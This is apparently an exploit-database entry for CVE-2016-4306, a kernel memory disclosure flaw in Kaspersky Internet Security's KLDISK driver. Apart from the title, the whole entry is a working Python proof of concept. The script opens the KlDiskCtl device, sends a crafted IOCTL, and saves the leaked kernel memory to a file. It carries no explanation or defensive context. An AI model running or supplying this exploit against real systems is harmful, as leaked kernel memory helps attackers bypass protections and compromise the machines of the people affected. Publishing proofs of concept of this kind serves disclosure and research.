Kaspersky Internet Security KLDISK Driver Multiple Kernel Memory Disclosure Vulnerabilities(CVE-2016-4306)

                                                  import win32file
  import win32con

  def leak_memory():
     fileName = u'\\\\.\\KlDiskCtl'
     hFile = win32file.CreateFileW(fileName,
                                  win32con.GENERIC_READ |win32con.GENERIC_WRITE,
                                  0,
                                  None,
                                  win32con.OPEN_EXISTING, 0 , None, 0)
     print "Handle ready : ",repr(hFile)

     ioctl = 0x8123e048
     inputBuffer = "A"*0x14
     inputBufferLen = len(inputBuffer)
     outBufferLen   = 0x1000

     print "Time to send IOCTL : 0x%x" % ioctl
     buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
     buf = buf[inputBufferLen:]
     with file('outBuff.bin','wb') as f:
       f.write(buf)

  if __name__  == "__main__":
     leak_memory()